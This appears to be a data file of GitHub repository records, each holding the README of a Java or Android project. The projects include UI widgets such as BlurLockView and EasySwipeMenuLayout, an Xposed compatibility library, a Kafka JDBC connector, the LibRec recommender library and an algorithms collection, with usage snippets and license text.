[7、一种基于词性序列的人名识别方法](http://my.oschina.net/apdplat/blog/411032) [8、中文分词算法 之 基于词典的全切分算法](http://my.oschina.net/apdplat/blog/412785) [9、9大Java开源中文分词器的使用方法和分词效果对比](http://my.oschina.net/apdplat/blog/412921) [10、中文分词之11946组同义词](http://my.oschina.net/apdplat/blog/408779) [11、中文分词之9271组反义词](http://my.oschina.net/apdplat/blog/411301) [12、如何利用多核提升分词速度](http://my.oschina.net/apdplat/blog/414076) [13、利用word分词来计算文本相似度](http://my.oschina.net/apdplat/blog/417047) [14、利用word分词来对文本进行词频统计](http://my.oschina.net/apdplat/blog/417641) [15、利用word分词通过计算词的语境来获得相关词](http://my.oschina.net/apdplat/blog/417922) ### 相关项目: [Java开源项目cws_evaluation:中文分词器分词效果评估对比](https://github.com/ysc/cws_evaluation/) [Java开源项目QuestionAnsweringSystem:人机问答系统](https://github.com/ysc/QuestionAnsweringSystem/) [Java开源项目word_web:通过web服务器对word分词的资源进行集中统一管理](https://github.com/ysc/word_web/) ### 相关文献: [An Implementation of Double-Array Trie](http://linux.thai.net/~thep/datrie/datrie.html) [MMSEG: A Word Identification System for Mandarin Chinese Text Based on Two Variants of the Maximum Matching Algorithm](http://technology.chtsai.org/mmseg/) [With Google’s new tool Ngram Viewer, you can visualise the rise and fall of concepts across 5 million books and 500 years!](https://books.google.com/ngrams) [word2vec](https://code.google.com/p/word2vec/) [魅力汉语](http://open.163.com/special/cuvocw/meilihanyu.html) [https://travis-ci.org/ysc/word](https://travis-ci.org/ysc/word)
0
Nightonke/BlurLockView
Lock view with blur effect. Easy to customise.
2016-03-17T06:29:38Z
null
# BlurLockView [![WoWoViewPager](https://github.com/Nightonke/WoWoViewPager/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/WoWoViewPager) [![BoomMenu](https://github.com/Nightonke/BoomMenu/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/BoomMenu) [![CoCoin](https://github.com/Nightonke/CoCoin/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/CoCoin) [![BlurLockView](https://github.com/Nightonke/BlurLockView/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/BlurLockView) [![LeeCo](https://github.com/Nightonke/LeeCo/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/LeeCo) [![GithubWidget](https://github.com/Nightonke/GithubWidget/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/GithubWidget) [![JellyToggleButton](https://github.com/Nightonke/JellyToggleButton/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/JellyToggleButton) [![FaceOffToggleButton](https://github.com/Nightonke/FaceOffToggleButton/blob/master/app/src/main/res/mipmap-hdpi/ic_launcher.png?raw=true)](https://github.com/Nightonke/FaceOffToggleButton) ![BlurLockView](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/in_out.gif) Lock view with blur effect. Easy to customise. # [中文文档](https://github.com/Nightonke/BlurLockView/blob/master/README-ZH.md) # Note 1. The blur effect comes from [500px-android-blur](https://github.com/500px/500px-android-blur). 2. More animations for showing or hiding the BlurLockView will be added. 3. In the demo, I use [Material-Dialogs](https://github.com/afollestad/material-dialogs) for convenient. # Usage [Demo](https://github.com/Nightonke/BlurLockView#demo) [Gradle](https://github.com/Nightonke/BlurLockView#gradle) [Easy to Use](https://github.com/Nightonke/BlurLockView#easy-to-use) [Show and Hide](https://github.com/Nightonke/BlurLockView#show-and-hide) [Listeners](https://github.com/Nightonke/BlurLockView#listeners) [Blur Effect](https://github.com/Nightonke/BlurLockView#blur-effect) [Keyboard](https://github.com/Nightonke/BlurLockView#keyboard) [Text](https://github.com/Nightonke/BlurLockView#text) [Font](https://github.com/Nightonke/BlurLockView#font) [Style](https://github.com/Nightonke/BlurLockView#style) [Incorrect Password](https://github.com/Nightonke/BlurLockView#incorrect-password) ### Demo Try demo here: [Download from Fir](http://fir.im/yakc) [Download from Github](https://github.com/Nightonke/BlurLockView/blob/master/Apk/BlurLock-V1.0.0.apk?raw=true) ![Fir](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/fir.png) You can get all about BlurLockView from the demo. ![Settings](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/test.png) ![Operations](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/operations.png) ### Gradle Add this to build.gradle: ```java dependencies { ... compile 'com.nightonke:blurlockview:1.0.0' ... } ``` ### Easy to Use Add the xml code: ```xml <com.nightonke.blurlockview.BlurLockView android:id="@+id/blurlockview" android:layout_width="match_parent" android:layout_height="match_parent" /> ``` Notice that you should set the BlurLockView to cover the view than need to be blured. Add this to initialize the BlurLockView: ```java // Set the view that need to be blurred blurLockView.setBlurredView(imageView1); // Set the password blurLockView.setCorrectPassword(getIntent().getStringExtra("PASSWORD")); ``` ### Show and Hide You can choose duration, direction and ease type to show or hide the BlurLockView. For instance, the gif at the start of readme shows as ```ShowType.FADE_IN``` with 1000ms and ```HideType.FADE_OUT``` with 1000ms. You can check all the directions and ease types in the demo above. ![Ease](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/ease.gif) ### Listeners BlurLockView.OnPasswordInputListener ```java @Override public void correct(String inputPassword) { // the input password is correct // you can hide the BlurLockView, for example } @Override public void incorrect(String inputPassword) { // the input password is incorrect } @Override public void input(String inputPassword) { // the password is being input } ``` BlurLockView.OnLeftButtonClickListener ```java @Override public void onClick() { // The left button is being clicked } ``` Implements the listeners above and then: ```java blurLockView.setOnLeftButtonClickListener(this); blurLockView.setOnPasswordInputListener(this); ``` Notice that the right button is set as "Backspace" usually, so there is not OnRightButtonClickListener. ### Blur Effect You can set the effect of blur with 3 parameters. 1. **DownsampleFactor**, with ```setDownsampleFactor(int downsampleFactor)```, the smaller, the clearer. 2. **BlurRadius**, with ```setBlurRadius(int blurRadius)```, the smaller, the clearer. 3. **OverlayColor**, with ```setOverlayColor(int color)```, to change the overlay color of BlurLockView. Examples: ![clear](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/clear.png) ![unclear](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/unclear.png) ![red](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/red.png) ![blue](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/blue.png) ### Keyboard You can use different keyboard to get different password. ```java setType(Password type, boolean smoothly); ``` Choose ```Password.NUMBER```(default) or ```Password.TEXT``` and whether change password type smoothly. Notice that the password with text is case-insensitive(I will improve this). ![Password Type](https://github.com/Nightonke/BlurLockView/blob/master/Pictures/keyboard.gif) ### Text 1. Set the text of title with ```setTitle(String string)```. 2. Set the text of left button with ```setLeftButton(String string)```. 3. Set the text of right button with ```setRightButton(String string)```. ### Font You can set all the font of text with ```setTypeface(Typeface typeface)```. ### Style **1.** Set the background of buttons in Password.TEXT with ```setSmallButtonViewsBackground(int id)```. The default resource drawable is: ```xml <?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android" > <item android:state_pressed="true" > <shape android:shape="oval" > </shape> </item> <item android:state_focused="true"> <shape android:shape="oval" > <stroke android:width="1dip" android:color="@color/default_button_press" /> <solid android:color="@android:color/transparent"/> </shape> </item> <item > <shape android:shape="oval" > <stroke android:width="1dip" android:color="@color/default_button_press" /> <solid android:color="@android:color/transparent"/> </shape> </item> </selector> ``` **2.** Set the click effect of buttons in Password.TEXT with ```setBigButtonViewsClickEffect(int id)```. The default resource drawable is: ```xml <?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android" > <item > <shape android:shape="oval" > <solid android:color="@color/default_button_press"/> </shape> </item> </selector> ``` **3.** When you click the buttoms in Password.TEXT, the effect above will disappear and you can set the duration by ```setSmallButtonViewsClickEffectDuration(int duration)```. **4.** Similarly, you can set the 3 styles of buttons in Password.NUMBER like above with ```setBigButtonViewsBackground(int id)```, ```setBigButtonViewsClickEffect(int id)``` and ```setBigButtonViewsClickEffectDuration(int duration)```. **5.** Try to set the color of all the text with ```setTextColor(int color)```. **6.** You can get the widgets in BlurLockView by: 1. ```public TextView getTitle() {return title;}``` to get the title. 2. ```public TextView getLeftButton() {return leftButton;}``` to get the left button. 3. ```public TextView getRightButton() {return rightButton;}``` to get the right button. 4. ```public BigButtonView[] getBigButtonViews() {return bigButtonViews;}``` to get the 10 number buttons in array. 5. ```public SmallButtonView[][] getSmallButtonViews() {return smallButtonViews;}``` to get all the text buttons in array. Notice that some buttons in the array is null. you can find all the real buttons by this: ```java private final char CHARS[][] = { {'1', '2', '3', '4', '5', '6', '7', '8', '9', '0'}, {'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P'}, { 'A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L' }, { 'Z', 'X', 'C', 'V', 'B', 'N', 'M' } }; ``` ### Incorrect Password BlurLockView counts for incorrect input times. You can use ```getIncorrectInputTimes()``` to get the times and use ```setIncorrectInputTimes(int incorrectInputTimes)``` to reset the times. # Versions ### 1.0.0 # Todo 1. More animations. 2. Change the Password.TEXT to case-sensitive with other signals. # License Copyright 2016 Nightonke Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
tuesda/CircleRefreshLayout
a custom pull-to-refresh layout which contains a interesting animation
2015-07-20T18:19:49Z
null
This is a project with custom pull-to-refresh layout which contains a interesting animation. And the animation is inspired by <https://dribbble.com/shots/1797373-Pull-Down-To-Refresh> made by Ramotion. ###Demo### ![](gif/circlerefresh.gif) ###Usage### ``` xml <com.tuesda.walker.circlerefresh.CircleRefreshLayout xmlns:app="http://schemas.android.com/apk/res-auto" app:AniBackColor="#ff8b90af" app:AniForeColor="#ffffffff" app:CircleSmaller="6" android:id="@+id/refresh_layout" android:layout_width="match_parent" android:layout_height="match_parent"> <ListView android:background="#ffffffff" android:id="@+id/list" android:layout_width="match_parent" android:layout_height="match_parent"></ListView> </com.tuesda.walker.circlerefresh.CircleRefreshLayout> ``` Call back when refresh starts and complete: ``` java mRefreshLayout.setOnRefreshListener( new CircleRefreshLayout.OnCircleRefreshListener() { @Override public void refreshing() { // do something when refresh starts } @Override public void completeRefresh() { // do something when refresh complete } }); ``` when refreshing is done(for example, the image loading completes), you can invoke: ``` java mRefreshLayout.finishRefreshing(); ``` ###License### MIT
0
android-hacker/exposed
A library to use Xposed without root or recovery(or modify system image etc..).
2017-12-01T08:58:13Z
null
# 简介 exposed 致力于为App提供 Xposed 运行环境。基本思路是劫持APP进程启动的入口,加载 Xposed 插件以及 hook框架 [epic](https://github.com/tiann/epic) 。 exposed本质上是一个 Xposed 与 APP进程 之间的兼容层,它给Xposed模块提供运行环境(如插件加载、hook环境等)。 目前使用最广泛的实现是 VirtualXposed,它使用 [VirtualApp](https://github.com/asLody/VirtualApp) 来运行APP并提供进程入口劫持。但是,exposed 本身并不依赖双开宿主;甚至不需要双开。 另外,基于APP加固的思路,甚至直接修改APK,或者通过magisk注入进程的方式,都可以实现 Xposed。 目前有以下几种实现方式: - [VirtualXposed](https://github.com/android-hacker/VirtualXposed) :基于双开实现,通过 VirtualApp 运行目标APK,在进程启动入口加载 exposed。优势:免安装,无篡改签名问题。劣势:性能 & 稳定性受限于双开,无法与系统完全交互。 - [太极](https://www.coolapk.com/apk/me.weishu.exp):基于修改APK实现。在 Application 类的入口织入 exposed 入口代码,从而加载 exposed。优势:可以与系统完全交互,性能好。劣势:签名改变,虽有独特技术可以绕过所有检测,但是依然有风险。部分APP调用其他会检测签名,使得所有APP必须被“太极化”,风险极高。 - [太极·Magisk](https://mp.weixin.qq.com/s?__biz=MjM5Njg5ODU2NA==&tempkey=OTkwX0JJa0I4ZW9qcmd5bGlJSXlwQjBJOTZsWGc0TllULXVXdGVicTQxcWRyWE9McnZFQVozRGpNS21OaHEySDNHbFlfMUVudk9wbHo0akE4c29hOTZhNGs5UENXQlFISlFvQjZFSS1CT1dCa1hSZWt4XzFKNV9abEZITTJNOEJkVkotVEdrN2owcmxzeU9WVF9oaVUxdlJwd3pkcHZDWXFPOTFNVEhBeUF%2Bfg%3D%3D&chksm=25983cf012efb5e6ac3fe06bd73883139a89912fa37aee74f3b3baca9e358b2c41a260cee682#rd):通过 Magisk 修改系统文件,在 Zygote 进程启动的时候执行 exposed 入口代码,从而加载 exposed。优势:完全体,不存在上述所有问题。劣势:需要解锁Bootloader和刷机。 # 使用 Exposed 是一个library,是提供给开发者使用的;如果你需要在非ROOT环境下运行Xposed,请移步项目 [VAExposed](https://github.com/android-hacker/VAExposed) 如果需要在APP进程中中提供Xposed运行环境,在进程启动的入口,执行如下调用即可: ```java ExposedBridge.initOnce(context, applicationInfo, appClassLoader); ``` 同时,为了加载Xposed模块,需要在进程启动的时候执行模块加载: ```java ExposedBridge.loadModule(moduleApk, apkOdexDir, moduleLibDir, applicationInfo, appClassLoader); ```
0
cundong/HeaderAndFooterRecyclerView
A RecyclerView solution, support addHeaderView、addFooterView
2015-10-30T12:47:33Z
null
## HeaderAndFooterRecyclerView ## Introduction HeaderAndFooterRecyclerView is a RecyclerView solution that supports addHeaderView, addFooterView to a RecyclerView. Through this library, you can implement RecyclerView's Page Loading by dynamically modify the FooterView's State, such as "loading", "loading error", "loading success", "slipping to the bottom". ## How to Use It * Add HeaderView, FooterView ```java mHeaderAndFooterRecyclerViewAdapter = new HeaderAndFooterRecyclerViewAdapter(mDataAdapter); mRecyclerView.setAdapter(mHeaderAndFooterRecyclerViewAdapter); mRecyclerView.setLayoutManager(new LinearLayoutManager(this)); //add a HeaderView RecyclerViewUtils.setHeaderView(mRecyclerView, new SampleHeader(this)); //add a FooterView RecyclerViewUtils.setFooterView(mRecyclerView, new SampleFooter(this)); ``` * LinearLayout / GridLayout / StaggeredGridLayout layout of RecyclerView paging load ```java mRecyclerView.addOnScrollListener(mOnScrollListener); ``` ```java private EndlessRecyclerOnScrollListener mOnScrollListener = new EndlessRecyclerOnScrollListener() { @Override public void onLoadNextPage(View view) { super.onLoadNextPage(view); LoadingFooter.State state = RecyclerViewStateUtils.getFooterViewState(mRecyclerView); if(state == LoadingFooter.State.Loading) { Log.d("@Cundong", "the state is Loading, just wait.."); return; } mCurrentCounter = mDataList.size(); if (mCurrentCounter < TOTAL_COUNTER) { // loading more RecyclerViewStateUtils.setFooterViewState(EndlessLinearLayoutActivity.this, mRecyclerView, REQUEST_COUNT, LoadingFooter.State.Loading, null); requestData(); } else { //the end RecyclerViewStateUtils.setFooterViewState(EndlessLinearLayoutActivity.this, mRecyclerView, REQUEST_COUNT, LoadingFooter.State.TheEnd, null); } } }; ``` ## Attention If you have already added a HeaderView for RecyclerView by ```RecyclerViewUtils.setHeaderView(mRecyclerView, view);``` , then call the ViewHolder 's ```getAdapterPosition()```、```getLayoutPosition()```, ,the returned value will be affected by the addition of the HeaderView (the return position is the real position + headerCounter). Therefore, in this case, please use: ```RecyclerViewUtils.getAdapterPosition(mRecyclerView, ViewHolder.this)```, ```RecyclerViewUtils.getLayoutPosition(mRecyclerView, ViewHolder.this)```. ## Demo * Add HeaderView, FooterView ![Screenshots][1] * Support for ply loading of the LinearLayout layout RecyclerView ![Screenshots][2] * Support for paging loads of GridLayout layout RecyclerView ![Screenshots][3] * Supports paging loads of StaggeredGridLayout layout RecyclerView ![Screenshots][4] * The page load fails when the GridLayout layout is RecyclerView ![Screenshots][5] ## License > Copyright 2015 Cundong > > Licensed under the Apache License, Version 2.0 (the "License"); you > may not use this file except in compliance with the License. You may > obtain a copy of the License at > > http://www.apache.org/licenses/LICENSE-2.0 > > Unless required by applicable law or agreed to in writing, software > distributed under the License is distributed on an "AS IS" BASIS, > WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or > implied. See the License for the specific language governing > permissions and limitations under the License. [1]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art1.png [2]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art2.png [3]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art3.png [4]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art4.png [5]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art5.png
0
confluentinc/kafka-connect-jdbc
Kafka Connect connector for JDBC-compatible databases
2015-04-23T02:23:08Z
null
# Kafka Connect JDBC Connector kafka-connect-jdbc is a [Kafka Connector](http://kafka.apache.org/documentation.html#connect) for loading data to and from any JDBC-compatible database. Documentation for this connector can be found [here](http://docs.confluent.io/current/connect/connect-jdbc/docs/index.html). # Development To build a development version you'll need a recent version of Kafka as well as a set of upstream Confluent projects, which you'll have to build from their appropriate snapshot branch. See the [FAQ](https://github.com/confluentinc/kafka-connect-jdbc/wiki/FAQ) for guidance on this process. You can build kafka-connect-jdbc with Maven using the standard lifecycle phases. # FAQ Refer frequently asked questions on Kafka Connect JDBC here - https://github.com/confluentinc/kafka-connect-jdbc/wiki/FAQ # Contribute Contributions can only be accepted if they contain appropriate testing. For example, adding a new dialect of JDBC will require an integration test. - Source Code: https://github.com/confluentinc/kafka-connect-jdbc - Issue Tracker: https://github.com/confluentinc/kafka-connect-jdbc/issues - Learn how to work with the connector's source code by reading our [Development and Contribution guidelines](CONTRIBUTING.md). # Information For more information, check the documentation for the JDBC connector on the [confluent.io](https://docs.confluent.io/current/connect/kafka-connect-jdbc/index.html) website. Questions related to the connector can be asked on [Community Slack](https://launchpass.com/confluentcommunity) or the [Confluent Platform Google Group](https://groups.google.com/forum/#!topic/confluent-platform/). # License This project is licensed under the [Confluent Community License](LICENSE).
0
anzaizai/EasySwipeMenuLayout
A sliding menu library not just for recyclerview, but all views.
2017-06-07T05:13:09Z
null
# EasySwipeMenuLayout A sliding menu library not just for recyclerview, but all views. # Effect picture ![EasySwipeMenuLayout.gif](http://upload-images.jianshu.io/upload_images/1811893-e1aa5b2f36f1caf5.gif?imageMogr2/auto-orient/strip) # Recommended - Recommended in conjunction with BaseRecyclerViewAdapterHelper # Feature - 1、Two-way sliding - 2、Support any View - 3、By id binding layout, more freedom # How to use ## Step 1 - You need to add jitpack repository infomaition to build.gradle in your project. // Top-level build file where you can add configuration options common to all sub-projects/modules. buildscript { repositories { jcenter() } dependencies { classpath 'com.android.tools.build:gradle:2.2.0' // NOTE: Do not place your application dependencies here; they belong // in the individual module build.gradle files } } allprojects { repositories { jcenter() maven { url "https://jitpack.io" } } } task clean(type: Delete) { delete rootProject.buildDir } ## step 2 [![](https://jitpack.io/v/anzaizai/EasySwipeMenuLayout.svg)](https://jitpack.io/#anzaizai/EasySwipeMenuLayout) - You need to add library dependencies infomation to build.gradle in your module. compile 'com.github.anzaizai:EasySwipeMenuLayout:1.1.4' - last releases version is 1.1.4 can be use ## step 3 - User EasySwipeMenuLayout as the top-level root layout the needs to be added slide swipe menu the funcation views. ### such as <com.guanaj.easyswipemenulibrary.EasySwipeMenuLayout android:layout_width="match_parent" android:layout_height="wrap_content" app:contentView="@+id/content" app:leftMenuView="@+id/left" app:rightMenuView="@+id/right"> <LinearLayout android:id="@+id/left" android:layout_width="100dp" android:layout_height="wrap_content" android:background="@android:color/holo_blue_dark" android:orientation="horizontal" android:padding="20dp"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="分享" /> </LinearLayout> <LinearLayout android:id="@+id/content" android:layout_width="match_parent" android:layout_height="wrap_content" android:background="#cccccc" android:orientation="vertical" android:padding="20dp"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="内容区域" /> </LinearLayout> <LinearLayout android:id="@+id/right" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@android:color/holo_red_light" android:orientation="horizontal"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@android:color/holo_blue_bright" android:padding="20dp" android:text="删除" /> <TextView android:id="@+id/right_menu_2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@android:color/holo_orange_dark" android:padding="20dp" android:text="收藏" /> </LinearLayout> </com.guanaj.easyswipemenulibrary.EasySwipeMenuLayout> - yes,just one step,use it is so simple # Portal - 想要阅读源码的小伙伴可以点击我的博客,在博客里简略分析了构建的思路我实现过程 - 个人博客:[https://www.catbro.cn](https://www.catbro.cn/)
0
guoguibing/librec
LibRec: A Leading Java Library for Recommender Systems, see
2014-01-09T16:06:11Z
null
<img src="http://librec.net/images/logo.png" height="25%" width="25%" /> **LibRec** (https://guoguibing.github.io/librec/index.html) is a Java library for recommender systems (Java version 1.7 or higher required). It implements a suit of state-of-the-art recommendation algorithms, aiming to resolve two classic recommendation tasks: **rating prediction** and **item ranking**. [![Join the chat at https://gitter.im/librec/Lobby](https://badges.gitter.im/librec/Lobby.svg)](https://gitter.im/librec/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)[![Build Status](https://travis-ci.org/guoguibing/librec.svg?branch=2.0.0)](https://travis-ci.org/guoguibing/librec) ### LibRec Demo A movie recommender system is designed and [available here](http://demo.librec.net). ### Documentation Please refer to [LibRec Documentation](http://wiki.librec.net) and [API Documentation](http://librec.net/doc/librec-v2.0/) ### Authors Words about the NEW Version It has been a year since the last version was released. In this year, lots of changes have been taken to the LibRec project, and the most significant one is the formulation of the LibRec team. The team pushes forward the development of LibRec with the wisdom of many experts, and the collaboration of experienced and enthusiastic contributors. Without their great efforts and hardworking, it is impossible to reach the state that a single developer may dream of. LibRec 2.0 is not the end of our teamwork, but just the begining of greater objectives. We aim to continously provide NEXT versions for better experience and performance. There are many directions and goals in plan, and we will do our best to make them happen. It is always exciting to receive any code contributions, suggestions, comments from all our LibRec users. We hope you enjoy the new version! PS: Follow us on WeChat to have first-hand and up-to-date information about LibRec. <img src="http://librec.net/images/mp.jpg" height="25%" width="25%" /> ### Features * **Rich Algorithms:** More than 70 recommendation algorithms have been implemented, and more will be done. * **High Modularity:** Six main components including data split, data conversion, similarity, algorithms, evaluators and filters. * **Great Performance:** More efficient implementations than other counterparts while producing comparable accuracy. * **Flexible Configuration:** Low coupling, flexible and either external textual or internal API configuration. * **Simple Usage:** Can get executed in a few lines of codes, and a number of demos are provided for easy start. * **Easy Expansion:** A set of recommendation interfaces for easy expansion to implement new recommenders. <div style="text-align:center;"><img src="http://librec.net/images/modules.jpg" width="500" /> </div> The procedure of LibRec is illustrated as follows. <div style="text-align:center;"><img src="http://librec.net/images/procedure.jpg" width="600" /> </div> ### Download by maven ``` <dependency> <groupId>net.librec</groupId> <artifactId>librec-core</artifactId> <version>2.0.0</version> </dependency> ``` by packages * **[librec-v2.0](https://github.com/guoguibing/librec/archive/librec-src-v2.0.zip)** * **[librec-v1.3](http://www.librec.net/release/librec-v1.3.zip)** * **[librec-v1.2](http://www.librec.net/release/librec-v1.2.zip)** * **[librec-v1.1](http://www.librec.net/release/librec-v1.1.zip)** * **[librec-v1.0](http://www.librec.net/release/librec-v1.0.zip)** ### Execution You can run LibRec with configurations from command arguments: <pre> librec rec -exec -D rec.recommender.class=itemcluster -D rec.pgm.number=10 -D rec.iterator.maximum=20 </pre> or from a configuration file: <pre> librec rec -exec -conf itemcluster-test.properties </pre> ### Code Snippet You can use **LibRec** as a part of your projects, and use the following codes to run a recommender. <pre> public void main(String[] args) throws Exception { // recommender configuration Configuration conf = new Configuration(); Resource resource = new Resource("rec/cf/userknn-test.properties"); conf.addResource(resource); // build data model DataModel dataModel = new TextDataModel(conf); dataModel.buildDataModel(); // set recommendation context RecommenderContext context = new RecommenderContext(conf, dataModel); RecommenderSimilarity similarity = new PCCSimilarity(); similarity.buildSimilarityMatrix(dataModel, true); context.setSimilarity(similarity); // training Recommender recommender = new UserKNNRecommender(); recommender.recommend(context); // evaluation RecommenderEvaluator evaluator = new MAEEvaluator(); recommender.evaluate(evaluator); // recommendation results List<RecommendedItem> recommendedItemList = recommender.getRecommendedList(); RecommendedFilter filter = new GenericRecommendedFilter(); recommendedItemList = filter.filter(recommendedItemList); } </pre> ### News Report * [An Introduction to Open-source Recommendaion Toolkit: LibRec](http://chuansong.me/n/1701947351918) [by ResysChina in Chinese] * [LibRec: an Open-source and Cross-platform Software for Recommender Systems](http://chuansong.me/n/1751521251128) [by InfoQ in Chinese] ### Acknowledgement We would like to express our appreciation to the following people for contributing source codes to LibRec, including [Prof. Robin Burke](http://josquin.cti.depaul.edu/~rburke/), [Bin Wu](https://github.com/wubin7019088), [Diego Monti](https://github.com/dmm42), [Ge Zhou](https://github.com/466152112), Li Wenxi, [Marco Mera](https://github.com/mmera), [Ran Locar](https://github.com/ranlocar), [Shawn Rutledge](https://github.com/shawndr), [ShuLong Chen](https://github.com/ChenSuL), [Tao Lian](https://github.com/taolian), [Takuya Kitazawa](https://github.com/takuti), [Zhaohua Hong](mailto:jstarcraft@gmail.com), Tan Jiale, [Daniel Velten](https://github.com/dvelten), [Qian Shaofeng](https://github.com/shitou112), etc. We gratefully thank Mr. Lijun Dai for designing and contributing the logo of LibRec, and also many thanks to [Mr. Jianbin Zhang](http://www.liaotian2020.com/) for implementing and sharing a [LibRec demo](http://demo.librec.net/). We also appreciate many others for reporting bugs and issues, and for providing valuable suggestions and support. ### Publications Please cite the following papers if LibRec is helpful to your research. 1. G. Guo, J. Zhang, Z. Sun and N. Yorke-Smith, [LibRec: A Java Library for Recommender Systems](http://ceur-ws.org/Vol-1388/demo_paper1.pdf), in Posters, Demos, Late-breaking Results and Workshop Proceedings of the 23rd Conference on User Modelling, Adaptation and Personalization (UMAP), 2015. 2. G. Guo, J. Zhang and N. Yorke-Smith, TrustSVD: Collaborative Filtering with Both the Explicit and Implicit Influence of User Trust and of Item Ratings, in Proceedings of the 29th AAAI Conference on Artificial Intelligence (AAAI), 2015, 123-129. 3. Z. Sun, G. Guo and J. Zhang, Exploiting Implicit Item Relationships for Recommender Systems, in Proceedings of the 23rd International Conference on User Modeling, Adaptation and Personalization (UMAP), 2015. ### GPL License LibRec is [free software](http://www.gnu.org/philosophy/free-sw.html): you can redistribute it and/or modify it under the terms of the [GNU General Public License (GPL)](http://www.gnu.org/licenses/gpl.html) as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. LibRec is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with LibRec. If not, see http://www.gnu.org/licenses/.
0
indy256/codelibrary
:gem:Collection of algorithms and data structures
2011-03-17T20:38:29Z
null
[![GitHub stars](https://img.shields.io/github/stars/indy256/codelibrary.svg?style=flat&label=star)](https://github.com/indy256/codelibrary/) [![Java CI](https://github.com/indy256/codelibrary/actions/workflows/java.yml/badge.svg)](https://github.com/indy256/codelibrary/actions/workflows/java.yml) [![C++ CI](https://github.com/indy256/codelibrary/actions/workflows/cpp.yml/badge.svg)](https://github.com/indy256/codelibrary/actions/workflows/cpp.yml) [![Rust CI](https://github.com/indy256/codelibrary/actions/workflows/rust.yml/badge.svg)](https://github.com/indy256/codelibrary/actions/workflows/rust.yml) [![License](https://img.shields.io/badge/license-UNLICENSE-green.svg)](https://github.com/indy256/codelibrary/blob/master/UNLICENSE) ### Collection of algorithms and data structures in C++, Java, Kotlin, Python and Rust #### Data structures + [x] Segment tree [**c++**](cpp/structures/segment_tree.h) [**java**](java/structures/SegmentTree.java) [**kotlin**](kotlin/SegmentTree.kt) + [x] Segment tree without recursion [**c++**](cpp/structures/segment_tree_without_recursion.cpp) [**java**](java/structures/SegmentTreeWithoutRecursion.java) + [x] 2d tree [**c++**](cpp/structures/tree_2d.cpp) [**java**](java/structures/Tree2d.java) + [x] Fenwick tree [**c++**](cpp/structures/fenwick_tree.cpp) [**java**](java/structures/FenwickTree.java) [**kotlin**](kotlin/FenwickTree.kt) + [x] Fenwick tree with extended operations [**c++**](cpp/structures/fenwick_tree_interval.cpp) [**java**](java/structures/FenwickTreeExtended.java) + [x] Persistent tree [**java**](java/structures/PersistentTree.java) [**kotlin**](kotlin/PersistentTree.kt) + [x] Centroid decomposition [**c++**](cpp/structures/centroid_decomposition.cpp) [**java**](java/structures/CentroidDecomposition.java) + [x] Heavy/light decomposition [**c++**](cpp/structures/heavy_light_decomposition.cpp) [**java**](java/structures/HeavyLight.java) + [x] Link/cut tree [**c++**](cpp/structures/link_cut_tree.cpp) [**java**](java/structures/LinkCutTree.java) + [x] Link/cut tree for connectivity query [**java**](java/structures/LinkCutTreeConnectivity.java) + [x] Link/cut tree for LCA query [**java**](java/structures/LinkCutTreeLca.java) + [x] Binary heap [**java**](java/structures/BinaryHeap.java) + [x] Binary heap with change priority [**c++**](cpp/structures/binary_heap.cpp) [**java**](java/structures/BinaryHeapExtended.java) + [x] Disjoint sets [**c++**](cpp/structures/disjoint_sets.cpp) [**java**](java/structures/DisjointSets.java) + [x] Treap [**c++**](cpp/structures/treap.h) [**java**](java/structures/Treap.java) [**kotlin**](kotlin/Treap.kt) + [x] Treap with indexed key [**c++**](cpp/structures/treap_indexed.cpp) [**java**](java/structures/TreapIndexed.java) + [x] k-d tree for point query [**c++**](cpp/structures/kd_tree.cpp) [**java**](java/structures/KdTreePointQuery.java) + [x] k-d tree for rectangular query [**java**](java/structures/KdTreeRectQuery.java) + [x] R-tree 